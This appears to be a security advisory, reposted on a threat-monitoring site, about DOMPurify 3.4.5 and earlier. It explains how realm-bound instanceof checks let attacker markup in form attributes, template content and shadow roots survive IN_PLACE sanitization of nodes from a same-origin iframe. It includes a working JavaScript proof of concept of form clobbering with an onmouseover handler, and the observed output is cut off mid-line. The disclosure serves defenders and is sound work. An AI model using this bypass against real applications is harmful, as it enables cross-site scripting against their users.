Technologyglobalverified · 90%

DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks

When
Where
Global (internet)
Category
cyber_advisory · npm

# Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks **CWE**: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound `instanceof` checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm) ## Summary `DOMPurify.sanitize(node, { IN_PLACE: true })` accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, `instanceof HTMLFormElement`, `instanceof NamedNodeMap`, `instanceof DocumentFragment`, and `instanceof Element` all return `false` for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm `<template>`'s `.content` is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node. ## Affected - DOMPurify ≤ 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7` - Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created `<iframe srcdoc>`) and then calls `DOMPurify.sanitize(foreignNode, { IN_PLACE: true })` against a sanitizer instance bound to a different realm Not affected: - String-input `DOMPurify.sanitize(dirtyString)` — the library calls its own parser inside `_initDocument`, the resulting nodes belong to the sanitizer's own realm, and the `instanceof` checks resolve as expected - IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance ## Vulnerability details The unifying defect is that `_isClobbered`, `_sanitizeShadowDOM`'s template-content recursion, and `_sanitizeAttachedShadowRoots` all use realm-bound `instanceof` checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects. ### [A] — `_isClobbered` gates on `element instanceof HTMLFormElement` `src/purify.ts:1120-1140`: ```ts const _isClobbered = function (element: Element): boolean { return ( element instanceof HTMLFormElement && // [A] realm-bound — false for any // iframe-realm <form> element (typeof element.nodeName !== 'string' || typeof element.textContent !== 'string' || typeof element.removeChild !== 'function' || !(element.attributes instanceof NamedNodeMap) || // [A'] also realm-bound typeof element.removeAttribute !== 'function' || typeof element.setAttribute !== 'function' || typeof element.namespaceURI !== 'string' || typeof element.insertBefore !== 'function' || typeof element.hasChildNodes !== 'function' || !(element.childNodes && typeof element.childNodes.length === 'number')) ); }; ``` A foreign-realm `<form>` is an instance of the foreign realm's `HTMLFormElement`, not the parent realm's. The leading `instanceof` short-circuits to `false`, so `_isClobbered` returns `false` regardless of the named-property clobbering present on the form. The follow-on `_sanitizeAttributes` then iterates `currentNode.attributes` — which itself can be a clobbered value (a foreign-realm `<input>` whose `name="attributes"` shadows the form's real `NamedNodeMap`). The attribute walk traverses the wrong collection and never reaches the actual `onmouseover` / `onclick` / `action=javascript:` attributes on the form root. ### [B] — `_sanitizeShadowDOM` gates template recursion on `content instanceof DocumentFragment` `src/purify.ts:1660-1662`: ```ts while ((shadowNode = shadowIterator.nextNode())) { ... _sanitizeElements(shadowNode); _sanitizeAttributes(shadowNode); /* Deep shadow DOM detected */ if (shadowNode.content instanceof DocumentFragment) { // [B] realm-bound _sanitizeShadowDOM(shadowNode.content); } } ``` The same check exists in the main iterator at `:1861-1862`: ```ts if (currentNode.content instanceof DocumentFragment) { // [B'] realm-bound _sanitizeShadowDOM(currentNode.content); } ``` For a `<template>` element constructed in a foreign realm, `template.content` is a `DocumentFragment` from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled `<img src=x onerror=...>` etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does `node.cloneNode(true)` / `importNode(template.content, true)` / inserts it into the live DOM, the embedded handler fires. ### [C] — `_sanitizeAttachedShadowRoots` gates recursion on `sr instanceof DocumentFragment` `src/purify.ts:1702-1712`: ```ts if (nodeType === NODE_TYPE.element) { const sr = getShadowRoot ? getShadowRoot(root) : (root as Element).shadowRoot; if (sr instanceof DocumentFragment) { // [C] realm-bound _sanitizeAttachedShadowRoots(sr); _sanitizeShadowDOM(sr); } } ``` For a host element constructed in a foreign realm with `host.attachShadow({mode:'open'})`, `host.shadowRoot` is a foreign-realm `ShadowRoot` (which extends the foreign realm's `DocumentFragment`). The `instanceof DocumentFragment` against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content. ### The mismatch DOMPurify *accepts* foreign-realm nodes for sanitization (the entry-point's `_isNode(dirty)` at `:1750` is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. `[A]` / `[B]` / `[C]` each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., `nodeType === 11` for `DocumentFragment`, tag-name comparison for `HTMLFormElement` recognition). ## Proof of concept Each PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm `DOMPurify.sanitize(node, { IN_PLACE: true })` and verifies that handler execution succeeds on subsequent activation. ### PoC 1 — cross-realm form clobbering survives ```js const iframe = document.createElement('iframe'); iframe.srcdoc = '<!doctype html><html><body></body></html>'; iframe.onload = () => { const idoc = iframe.contentDocument; const div = idoc.createElement('div'); div.id = 'dirty'; const form = idoc.createElement('form'); form.setAttribute('onmouseover', 'window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1'); const inp = idoc.createElement('input'); inp.setAttribute('name', 'attributes'); // clobbers form.attributes form.appendChild(inp); div.appendChild(form); DOMPurify.sanitize(div, { IN_PLACE: true }); window.__dompurify_xss = 0; document.body.appendChild(div); form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true })); // window.__dompurify_xss === 1 }; document.body.appendChild(iframe); ``` Observed (Chromium 148, DOMPurify 3.4.5, HEAD `89da34e`): ```json { "sanitizeError": null, "before": { "formIsMainRealmHTMLFormElement": false, "formIsForeignRealmHTMLFormElement": true, "formAttributesType": "[object HTMLInputElement]", "formAttributesEqualsInput": true }, "after": { "html": "<div id=\"dirty\"><form onmouseover=\"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\"><

Sources

Defaxon links out to the original reporting and never republishes article text.

Correlated events

Computed by the Defaxon correlation engine — linked by shared actors, co-location, and temporal proximity. Scored hypotheses, never causal claims.

← Back to the live map